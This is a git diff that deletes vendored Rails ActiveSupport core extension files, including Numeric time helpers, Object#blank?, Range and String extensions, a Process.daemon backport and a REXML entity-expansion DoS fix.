index d9bee2b1..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/numeric/conversions.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Numeric #:nodoc:
-      module Conversions
-        # Assumes self represents an offset from UTC in seconds (as returned from Time#utc_offset)
-        # and turns this into an +HH:MM formatted string. Example:
-        #
-        #   -21_600.to_utc_offset_s   # => "-06:00"
-        def to_utc_offset_s(colon=true)
-          seconds = self
-          sign = (seconds < 0 ? '-' : '+')
-          hours = seconds.abs / 3600
-          minutes = (seconds.abs % 3600) / 60
-          "%s%02d%s%02d" % [ sign, hours, colon ? ":" : "", minutes ]
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/numeric/time.rb b/vendor/rails/activesupport/lib/active_support/core_ext/numeric/time.rb
deleted file mode 100644
index bc7f180c..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/numeric/time.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Numeric #:nodoc:
-      # Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.
-      #
-      # These methods use Time#advance for precise date calculations when using from_now, ago, etc. 
-      # as well as adding or subtracting their results from a Time object. For example:
-      #
-      #   # equivalent to Time.now.advance(:months => 1)
-      #   1.month.from_now
-      #
-      #   # equivalent to Time.now.advance(:years => 2)
-      #   2.years.from_now
-      #
-      #   # equivalent to Time.now.advance(:months => 4, :years => 5)
-      #   (4.months + 5.years).from_now
-      # 
-      # While these methods provide precise calculation when used as in the examples above, care
-      # should be taken to note that this is not true if the result of `months', `years', etc is
-      # converted before use:
-      #
-      #   # equivalent to 30.days.to_i.from_now
-      #   1.month.to_i.from_now
-      #
-      #   # equivalent to 365.25.days.to_f.from_now
-      #   1.year.to_f.from_now
-      #
-      # In such cases, Ruby's core 
-      # Date[http://stdlib.rubyonrails.org/libdoc/date/rdoc/index.html] and 
-      # Time[http://stdlib.rubyonrails.org/libdoc/time/rdoc/index.html] should be used for precision
-      # date and time arithmetic
-      module Time
-        def seconds
-          ActiveSupport::Duration.new(self, [[:seconds, self]])
-        end
-        alias :second :seconds
-
-        def minutes
-          ActiveSupport::Duration.new(self * 60, [[:seconds, self * 60]])
-        end
-        alias :minute :minutes  
-        
-        def hours
-          ActiveSupport::Duration.new(self * 3600, [[:seconds, self * 3600]])
-        end
-        alias :hour :hours
-        
-        def days
-          ActiveSupport::Duration.new(self * 24.hours, [[:days, self]])
-        end
-        alias :day :days
-
-        def weeks
-          ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]])
-        end
-        alias :week :weeks
-        
-        def fortnights
-          ActiveSupport::Duration.new(self * 2.weeks, [[:days, self * 14]])
-        end
-        alias :fortnight :fortnights
-        
-        # Reads best without arguments:  10.minutes.ago
-        def ago(time = ::Time.now)
-          time - self
-        end
-
-        # Reads best with argument:  10.minutes.until(time)
-        alias :until :ago
-
-        # Reads best with argument:  10.minutes.since(time)
-        def since(time = ::Time.now)
-          time + self
-        end
-
-        # Reads best without arguments:  10.minutes.from_now
-        alias :from_now :since
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object.rb
deleted file mode 100644
index 65bc222b..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/object/conversions'
-require 'active_support/core_ext/object/extending'
-require 'active_support/core_ext/object/instance_variables'
-require 'active_support/core_ext/object/metaclass'
-require 'active_support/core_ext/object/singleton_class'
-require 'active_support/core_ext/object/misc'
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/blank.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/blank.rb
deleted file mode 100644
index eb99bb1a..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object/blank.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-class Object
-  # An object is blank if it's false, empty, or a whitespace string.
-  # For example, "", "   ", +nil+, [], and {} are blank.
-  #
-  # This simplifies:
-  #
-  #   if !address.nil? && !address.empty?
-  #
-  # ...to:
-  #
-  #   if !address.blank?
-  def blank?
-    respond_to?(:empty?) ? empty? : !self
-  end
-
-  # An object is present if it's not blank.
-  def present?
-    !blank?
-  end
-  
-  # Returns object if it's #present? otherwise returns nil.
-  # object.presence is equivalent to object.present? ? object : nil.
-  #
-  # This is handy for any representation of objects where blank is the same
-  # as not present at all.  For example, this simplifies a common check for
-  # HTTP POST/query parameters:
-  #
-  #   state   = params[:state]   if params[:state].present?
-  #   country = params[:country] if params[:country].present?
-  #   region  = state || country || 'US'
-  #
-  # ...becomes:
-  #
-  #   region = params[:state].presence || params[:country].presence || 'US'
-  def presence
-    self if present?
-  end
-end
-
-class NilClass #:nodoc:
-  def blank?
-    true
-  end
-end
-
-class FalseClass #:nodoc:
-  def blank?
-    true
-  end
-end
-
-class TrueClass #:nodoc:
-  def blank?
-    false
-  end
-end
-
-class Array #:nodoc:
-  alias_method :blank?, :empty?
-end
-
-class Hash #:nodoc:
-  alias_method :blank?, :empty?
-end
-
-class String #:nodoc:
-  def blank?
-    self !~ /\S/
-  end
-end
-
-class Numeric #:nodoc:
-  def blank?
-    false
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/conversions.rb
deleted file mode 100644
index 278b856c..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object/conversions.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-class Object
-  # Alias of <tt>to_s</tt>.
-  def to_param
-    to_s
-  end
-
-  # Converts an object into a string suitable for use as a URL query string, using the given <tt>key</tt> as the
-  # param name.
-  #
-  # Note: This method is defined as a default implementation for all Objects for Hash#to_query to work.
-  def to_query(key)
-    require 'cgi' unless defined?(CGI) && defined?(CGI::escape)
-    "#{CGI.escape(key.to_s)}=#{CGI.escape(to_param.to_s)}"
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/extending.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/extending.rb
deleted file mode 100644
index bbf6f856..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object/extending.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-class Object
-  def remove_subclasses_of(*superclasses) #:nodoc:
-    Class.remove_class(*subclasses_of(*superclasses))
-  end
-
-  begin
-    ObjectSpace.each_object(Class.new) {}
-
-    # Exclude this class unless it's a subclass of our supers and is defined.
-    # We check defined? in case we find a removed class that has yet to be
-    # garbage collected. This also fails for anonymous classes -- please
-    # submit a patch if you have a workaround.
-    def subclasses_of(*superclasses) #:nodoc:
-      subclasses = []
-
-      superclasses.each do |sup|
-        ObjectSpace.each_object(class << sup; self; end) do |k|
-          if k != sup && (k.name.blank? || eval("defined?(::#{k}) && ::#{k}.object_id == k.object_id"))
-            subclasses << k
-          end
-        end
-      end
-
-      subclasses
-    end
-  rescue RuntimeError
-    # JRuby and any implementations which cannot handle the objectspace traversal
-    # above fall back to this implementation
-    def subclasses_of(*superclasses) #:nodoc:
-      subclasses = []
-
-      superclasses.each do |sup|
-        ObjectSpace.each_object(Class) do |k|
-          if superclasses.any? { |superclass| k < superclass } &&
-            (k.name.blank? || eval("defined?(::#{k}) && ::#{k}.object_id == k.object_id"))
-            subclasses << k
-          end
-        end
-        subclasses.uniq!
-      end
-      subclasses
-    end
-  end
-
-  def extended_by #:nodoc:
-    ancestors = class << self; ancestors end
-    ancestors.select { |mod| mod.class == Module } - [ Object, Kernel ]
-  end
-
-  def extend_with_included_modules_from(object) #:nodoc:
-    object.extended_by.each { |mod| extend mod }
-  end
-
-  unless defined? instance_exec # 1.9
-    module InstanceExecMethods #:nodoc:
-    end
-    include InstanceExecMethods
-
-    # Evaluate the block with the given arguments within the context of
-    # this object, so self is set to the method receiver.
-    #
-    # From Mauricio's http://eigenclass.org/hiki/bounded+space+instance_exec
-    def instance_exec(*args, &block)
-      begin
-        old_critical, Thread.critical = Thread.critical, true
-        n = 0
-        n += 1 while respond_to?(method_name = "__instance_exec#{n}")
-        InstanceExecMethods.module_eval { define_method(method_name, &block) }
-      ensure
-        Thread.critical = old_critical
-      end
-
-      begin
-        send(method_name, *args)
-      ensure
-        InstanceExecMethods.module_eval { remove_method(method_name) } rescue nil
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/instance_variables.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/instance_variables.rb
deleted file mode 100644
index 4ecaab3b..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object/instance_variables.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-class Object
-  # Available in 1.8.6 and later.
-  unless respond_to?(:instance_variable_defined?)
-    def instance_variable_defined?(variable)
-      instance_variables.include?(variable.to_s)
-    end
-  end
-
-  # Returns a hash that maps instance variable names without "@" to their
-  # corresponding values. Keys are strings both in Ruby 1.8 and 1.9.
-  #
-  #   class C
-  #     def initialize(x, y)
-  #       @x, @y = x, y
-  #     end
-  #   end
-  #   
-  #   C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
-  def instance_values #:nodoc:
-    instance_variables.inject({}) do |values, name|
-      values[name.to_s[1..-1]] = instance_variable_get(name)
-      values
-    end
-  end
-
-  # Returns an array of instance variable names including "@". They are strings
-  # both in Ruby 1.8 and 1.9.
-  #
-  #   class C
-  #     def initialize(x, y)
-  #       @x, @y = x, y
-  #     end
-  #   end
-  #   
-  #   C.new(0, 1).instance_variable_names # => ["@y", "@x"]
-  if RUBY_VERSION >= '1.9'
-    def instance_variable_names
-      instance_variables.map { |var| var.to_s }
-    end
-  else
-    alias_method :instance_variable_names, :instance_variables
-  end
-
-  # Copies the instance variables of +object+ into +self+.
-  #
-  # Instance variable names in the +exclude+ array are ignored. If +object+
-  # responds to <tt>protected_instance_variables</tt> the ones returned are
-  # also ignored. For example, Rails controllers implement that method.
-  #
-  # In both cases strings and symbols are understood, and they have to include
-  # the at sign.
-  #
-  #   class C
-  #     def initialize(x, y, z)
-  #       @x, @y, @z = x, y, z
-  #     end
-  #   
-  #     def protected_instance_variables
-  #       %w(@z)
-  #     end
-  #   end
-  #   
-  #   a = C.new(0, 1, 2)
-  #   b = C.new(3, 4, 5)
-  #   
-  #   a.copy_instance_variables_from(b, [:@y])
-  #   # a is now: @x = 3, @y = 1, @z = 2
-  def copy_instance_variables_from(object, exclude = []) #:nodoc:
-    exclude += object.protected_instance_variables if object.respond_to? :protected_instance_variables
-
-    vars = object.instance_variables.map(&:to_s) - exclude.map(&:to_s)
-    vars.each { |name| instance_variable_set(name, object.instance_variable_get(name)) }
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/metaclass.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/metaclass.rb
deleted file mode 100644
index 4b36a243..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object/metaclass.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'active_support/deprecation'
-
-class Object
-  # Get object's meta (ghost, eigenclass, singleton) class.
-  #
-  # Deprecated in favor of Object#singleton_class.
-  def metaclass
-    class << self
-      self
-    end
-  end
-
-  deprecate :metaclass => :singleton_class
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/misc.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/misc.rb
deleted file mode 100644
index 554f44ab..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object/misc.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-require 'active_support/deprecation'
-
-class Object
-  # Returns +value+ after yielding +value+ to the block. This simplifies the
-  # process of constructing an object, performing work on the object, and then
-  # returning the object from a method. It is a Ruby-ized realization of the K
-  # combinator, courtesy of Mikael Brockman.
-  #
-  # ==== Examples
-  #
-  #  # Without returning
-  #  def foo
-  #    values = []
-  #    values << "bar"
-  #    values << "baz"
-  #    return values
-  #  end
-  #
-  #  foo # => ['bar', 'baz']
-  #
-  #  # returning with a local variable
-  #  def foo
-  #    returning values = [] do
-  #      values << 'bar'
-  #      values << 'baz'
-  #    end
-  #  end
-  #
-  #  foo # => ['bar', 'baz']
-  #  
-  #  # returning with a block argument
-  #  def foo
-  #    returning [] do |values|
-  #      values << 'bar'
-  #      values << 'baz'
-  #    end
-  #  end
-  #  
-  #  foo # => ['bar', 'baz']
-  def returning(value)
-    ActiveSupport::Deprecation.warn('Kernel#returning has been deprecated in favor of Object#tap.', caller)
-    yield(value)
-    value
-  end
-
-  # Yields <code>x</code> to the block, and then returns <code>x</code>.
-  # The primary purpose of this method is to "tap into" a method chain,
-  # in order to perform operations on intermediate results within the chain.
-  #
-  #   (1..10).tap { |x| puts "original: #{x.inspect}" }.to_a.
-  #     tap    { |x| puts "array: #{x.inspect}" }.
-  #     select { |x| x%2 == 0 }.
-  #     tap    { |x| puts "evens: #{x.inspect}" }.
-  #     map    { |x| x*x }.
-  #     tap    { |x| puts "squares: #{x.inspect}" }
-  def tap
-    yield self
-    self
-  end unless Object.respond_to?(:tap)
-
-  # An elegant way to factor duplication out of options passed to a series of
-  # method calls. Each method called in the block, with the block variable as
-  # the receiver, will have its options merged with the default +options+ hash
-  # provided. Each method called on the block variable must take an options
-  # hash as its final argument.
-  # 
-  #   with_options :order => 'created_at', :class_name => 'Comment' do |post|
-  #     post.has_many :comments, :conditions => ['approved = ?', true], :dependent => :delete_all
-  #     post.has_many :unapproved_comments, :conditions => ['approved = ?', false]
-  #     post.has_many :all_comments
-  #   end
-  #
-  # Can also be used with an explicit receiver:
-  #
-  #   map.with_options :controller => "people" do |people|
-  #     people.connect "/people",     :action => "index"
-  #     people.connect "/people/:id", :action => "show"
-  #   end
-  #
-  def with_options(options)
-    yield ActiveSupport::OptionMerger.new(self, options)
-  end
-  
-  # A duck-type assistant method. For example, Active Support extends Date
-  # to define an acts_like_date? method, and extends Time to define
-  # acts_like_time?. As a result, we can do "x.acts_like?(:time)" and
-  # "x.acts_like?(:date)" to do duck-type-safe comparisons, since classes that
-  # we want to act like Time simply need to define an acts_like_time? method.
-  def acts_like?(duck)
-    respond_to? "acts_like_#{duck}?"
-  end
-
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/object/singleton_class.rb b/vendor/rails/activesupport/lib/active_support/core_ext/object/singleton_class.rb
deleted file mode 100644
index 8dee54e7..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/object/singleton_class.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-class Object
-  # Returns the object's singleton class.
-  def singleton_class
-    class << self
-      self
-    end
-  end unless respond_to?(:singleton_class)
-
-  # class_eval on an object acts like singleton_class_eval.
-  def class_eval(*args, &block)
-    singleton_class.class_eval(*args, &block)
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/pathname.rb b/vendor/rails/activesupport/lib/active_support/core_ext/pathname.rb
deleted file mode 100644
index 4c5318ee..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/pathname.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'pathname'
-require 'active_support/core_ext/pathname/clean_within'
-
-class Pathname#:nodoc:
-  extend ActiveSupport::CoreExtensions::Pathname::CleanWithin
-end
-
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/pathname/clean_within.rb b/vendor/rails/activesupport/lib/active_support/core_ext/pathname/clean_within.rb
deleted file mode 100644
index ae03e1bc..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/pathname/clean_within.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Pathname #:nodoc:
-      module CleanWithin
-        # Clean the paths contained in the provided string.
-        def clean_within(string)
-          string.gsub(%r{[\w. ]+(/[\w. ]+)+(\.rb)?(\b|$)}) do |path|
-            new(path).cleanpath
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/proc.rb b/vendor/rails/activesupport/lib/active_support/core_ext/proc.rb
deleted file mode 100644
index 2ca23f62..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/proc.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class Proc #:nodoc:
-  def bind(object)
-    block, time = self, Time.now
-    (class << object; self end).class_eval do
-      method_name = "__bind_#{time.to_i}_#{time.usec}"
-      define_method(method_name, &block)
-      method = instance_method(method_name)
-      remove_method(method_name)
-      method
-    end.bind(object)
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/process.rb b/vendor/rails/activesupport/lib/active_support/core_ext/process.rb
deleted file mode 100644
index 0b0bc6dc..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/process.rb
+++ /dev/null
@@ -1 +0,0 @@
-require 'active_support/core_ext/process/daemon'
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/process/daemon.rb b/vendor/rails/activesupport/lib/active_support/core_ext/process/daemon.rb
deleted file mode 100644
index 95ad5f8a..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/process/daemon.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-if RUBY_VERSION < "1.9"
-  module Process
-    def self.daemon(nochdir = nil, noclose = nil)
-      exit if fork                     # Parent exits, child continues.
-      Process.setsid                   # Become session leader.
-      exit if fork                     # Zap session leader. See [1].
-
-      unless nochdir
-        Dir.chdir "/"                  # Release old working directory.
-      end
-
-      File.umask 0000                  # Ensure sensible umask. Adjust as needed.
-
-      unless noclose
-        STDIN.reopen "/dev/null"       # Free file descriptors and
-        STDOUT.reopen "/dev/null", "a" # point them somewhere sensible.
-        STDERR.reopen '/dev/null', 'a'
-      end
-
-      trap("TERM") { exit }
-
-      return 0
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/range.rb b/vendor/rails/activesupport/lib/active_support/core_ext/range.rb
deleted file mode 100644
index 0d2b169e..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/range.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-require 'active_support/core_ext/range/conversions'
-require 'active_support/core_ext/range/overlaps'
-require 'active_support/core_ext/range/include_range'
-require 'active_support/core_ext/range/blockless_step'
-
-class Range #:nodoc:
-  include ActiveSupport::CoreExtensions::Range::Conversions
-  include ActiveSupport::CoreExtensions::Range::Overlaps
-  include ActiveSupport::CoreExtensions::Range::IncludeRange
-  include ActiveSupport::CoreExtensions::Range::BlocklessStep
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/range/blockless_step.rb b/vendor/rails/activesupport/lib/active_support/core_ext/range/blockless_step.rb
deleted file mode 100644
index 02d83fe5..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/range/blockless_step.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Range #:nodoc:
-      # Return an array when step is called without a block.
-      module BlocklessStep
-        def self.included(base) #:nodoc:
-          base.alias_method_chain :step, :blockless
-        end
-
-        if RUBY_VERSION < '1.9'
-          def step_with_blockless(value = 1, &block)
-            if block_given?
-              step_without_blockless(value, &block)
-            else
-              [].tap do |array|
-                step_without_blockless(value) { |step| array << step }
-              end
-            end
-          end
-        else
-          def step_with_blockless(value = 1, &block)
-            if block_given?
-              step_without_blockless(value, &block)
-            else
-              step_without_blockless(value).to_a
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/range/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/range/conversions.rb
deleted file mode 100644
index 45b0826b..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/range/conversions.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Range #:nodoc:
-      # Getting ranges in different convenient string representations and other objects
-      module Conversions
-        RANGE_FORMATS = {
-          :db => Proc.new { |start, stop| "BETWEEN '#{start.to_s(:db)}' AND '#{stop.to_s(:db)}'" }
-        }
-
-        def self.included(base) #:nodoc:
-          base.class_eval do
-            alias_method :to_default_s, :to_s
-            alias_method :to_s, :to_formatted_s
-          end
-        end
-        # Gives a human readable format of the range.
-        #
-        # ==== Example
-        # 
-        #   [1..100].to_formatted_s # => "1..100"
-        def to_formatted_s(format = :default)
-          RANGE_FORMATS[format] ? RANGE_FORMATS[format].call(first, last) : to_default_s
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/range/include_range.rb b/vendor/rails/activesupport/lib/active_support/core_ext/range/include_range.rb
deleted file mode 100644
index 9a7d2356..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/range/include_range.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Range #:nodoc:
-      # Check if a Range includes another Range.
-      module IncludeRange
-        def self.included(base) #:nodoc:
-          base.alias_method_chain :include?, :range
-        end
-
-        # Extends the default Range#include? to support range comparisons.
-        #  (1..5).include?(1..5) # => true
-        #  (1..5).include?(2..3) # => true
-        #  (1..5).include?(2..6) # => false
-        #
-        # The native Range#include? behavior is untouched.
-        #  ("a".."f").include?("c") # => true
-        #  (5..9).include?(11) # => false
-        def include_with_range?(value)
-          if value.is_a?(::Range)
-            operator = exclude_end? ? :< : :<=
-            end_value = value.exclude_end? ? last.succ : last
-            include?(value.first) && (value.last <=> end_value).send(operator, 0)
-          else
-            include_without_range?(value)
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/range/overlaps.rb b/vendor/rails/activesupport/lib/active_support/core_ext/range/overlaps.rb
deleted file mode 100644
index 43c69453..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/range/overlaps.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Range #:nodoc:
-      # Check if Ranges overlap.
-      module Overlaps
-        # Compare two ranges and see if they overlap eachother
-        #  (1..5).overlaps?(4..6) # => true
-        #  (1..5).overlaps?(7..9) # => false
-        def overlaps?(other)
-          include?(other.first) || other.include?(first)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/rexml.rb b/vendor/rails/activesupport/lib/active_support/core_ext/rexml.rb
deleted file mode 100644
index b4891a91..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/rexml.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-# Fixes the rexml vulnerability disclosed at:
-# http://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/
-# This fix is identical to rexml-expansion-fix version 1.0.1
-require 'rexml/rexml'
-
-# Earlier versions of rexml defined REXML::Version, newer ones REXML::VERSION
-unless (defined?(REXML::VERSION) ? REXML::VERSION : REXML::Version) > "3.1.7.2"
-  require 'rexml/document'
-
-  # REXML in 1.8.7 has the patch but didn't update Version from 3.1.7.2.
-  unless REXML::Document.respond_to?(:entity_expansion_limit=)
-    require 'rexml/entity'
-
-    module REXML
-      class Entity < Child
-        undef_method :unnormalized
-        def unnormalized
-          document.record_entity_expansion! if document
-          v = value()
-          return nil if v.nil?
-          @unnormalized = Text::unnormalize(v, parent)
-          @unnormalized
-        end
-      end
-      class Document < Element
-        @@entity_expansion_limit = 10_000
-        def self.entity_expansion_limit= val
-          @@entity_expansion_limit = val
-        end
-
-        def record_entity_expansion!
-          @number_of_expansions ||= 0
-          @number_of_expansions += 1
-          if @number_of_expansions > @@entity_expansion_limit
-            raise "Number of entity expansions exceeded, processing aborted."
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string.rb
deleted file mode 100644
index 95aaa8e1..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# encoding: utf-8
-
-require 'active_support/core_ext/string/inflections'
-require 'active_support/core_ext/string/bytesize'
-require 'active_support/core_ext/string/conversions'
-require 'active_support/core_ext/string/access'
-require 'active_support/core_ext/string/starts_ends_with'
-require 'active_support/core_ext/string/iterators'
-require 'active_support/core_ext/string/multibyte'
-require 'active_support/core_ext/string/xchar'
-require 'active_support/core_ext/string/filters'
-require 'active_support/core_ext/string/behavior'
-require 'active_support/core_ext/string/output_safety'
-
-class String #:nodoc:
-  include ActiveSupport::CoreExtensions::String::Access
-  include ActiveSupport::CoreExtensions::String::Conversions
-  include ActiveSupport::CoreExtensions::String::Filters
-  include ActiveSupport::CoreExtensions::String::Inflections
-  include ActiveSupport::CoreExtensions::String::StartsEndsWith
-  include ActiveSupport::CoreExtensions::String::Iterators
-  include ActiveSupport::CoreExtensions::String::Behavior
-  include ActiveSupport::CoreExtensions::String::Multibyte
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/access.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/access.rb
deleted file mode 100644
index e806b321..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/access.rb
+++ /dev/null
@@ -1,106 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module String #:nodoc:
-      unless '1.9'.respond_to?(:force_encoding)
-        # Makes it easier to access parts of a string, such as specific characters and substrings.
-        module Access
-          # Returns the character at the +position+ treating the string as an array (where 0 is the first character).
-          #
-          # Examples: 
-          #   "hello".at(0)  # => "h"
-          #   "hello".at(4)  # => "o"
-          #   "hello".at(10) # => nil
-          def at(position)
-            mb_chars[position, 1].to_s
-          end
-          
-          # Returns the remaining of the string from the +position+ treating the string as an array (where 0 is the first character).
-          #
-          # Examples: 
-          #   "hello".from(0)  # => "hello"
-          #   "hello".from(2)  # => "llo"
-          #   "hello".from(10) # => nil
-          def from(position)
-            mb_chars[position..-1].to_s
-          end
-          
-          # Returns the beginning of the string up to the +position+ treating the string as an array (where 0 is the first character).
-          #
-          # Examples: 
-          #   "hello".to(0)  # => "h"
-          #   "hello".to(2)  # => "hel"
-          #   "hello".to(10) # => "hello"
-          def to(position)
-            mb_chars[0..position].to_s
-          end
-
-          # Returns the first character of the string or the first +limit+ characters.
-          #
-          # Examples: 
-          #   "hello".first     # => "h"
-          #   "hello".first(2)  # => "he"
-          #   "hello".first(10) # => "hello"
-          def first(limit = 1)
-            if limit == 0
-              ''
-            elsif limit >= size
-              self
-            else
-              mb_chars[0...limit].to_s
-            end
-          end
-
-          # Returns the last character of the string or the last +limit+ characters.
-          #
-          # Examples: 
-          #   "hello".last     # => "o"
-          #   "hello".last(2)  # => "lo"
-          #   "hello".last(10) # => "hello"
-          def last(limit = 1)
-            if limit == 0
-              ''
-            elsif limit >= size
-              self
-            else
-              mb_chars[(-limit)..-1].to_s
-            end
-          end
-        end
-      else
-        module Access #:nodoc:
-          def at(position)
-            self[position]
-          end
-
-          def from(position)
-            self[position..-1]
-          end
-
-          def to(position)
-            self[0..position]
-          end
-
-          def first(limit = 1)
-            if limit == 0
-              ''
-            elsif limit >= size
-              self
-            else
-              to(limit - 1)
-            end
-          end
-
-          def last(limit = 1)
-            if limit == 0
-              ''
-            elsif limit >= size
-              self
-            else
-              from(-limit)
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/behavior.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/behavior.rb
deleted file mode 100644
index a93ca302..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/behavior.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module String #:nodoc:
-      module Behavior
-        # Enable more predictable duck-typing on String-like classes. See
-        # Object#acts_like?.
-        def acts_like_string?
-          true
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/bytesize.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/bytesize.rb
deleted file mode 100644
index ed051b92..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/bytesize.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-unless '1.9'.respond_to?(:bytesize)
-  class String
-    alias :bytesize :size
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/string/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/string/conversions.rb
deleted file mode 100644
index d4334dce..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/string/conversions.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-require 'date'
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module String #:nodoc:
-      # Converting strings to other objects
-      module Conversions
-        # 'a'.ord == 'a'[0] for Ruby 1.9 forward compatibility.
-        def ord
-          self[0]
-        end if RUBY_VERSION < '1.9'
-
-        # Form can be either :utc (default) or :local.
-        def to_time(form = :utc)
-          ::Time.send("#{form}_time", *::Date._parse(self, false).values_at(:year, :mon, :mday, :hour, :min, :sec).map { |arg| arg || 0 })
-        end
-
-        def to_date
-          ::Date.new(*::Date._parse(self, false).values_at(:year, :mon, :mday))
-        end
-
-        def to_datetime
-          ::DateTime.civil(*::Date._parse(self, false).values_at(:year, :mon, :mday, :hour, :min, :sec).map { |arg| arg || 0 })
-        end
-      end
-    end
-  end
-end
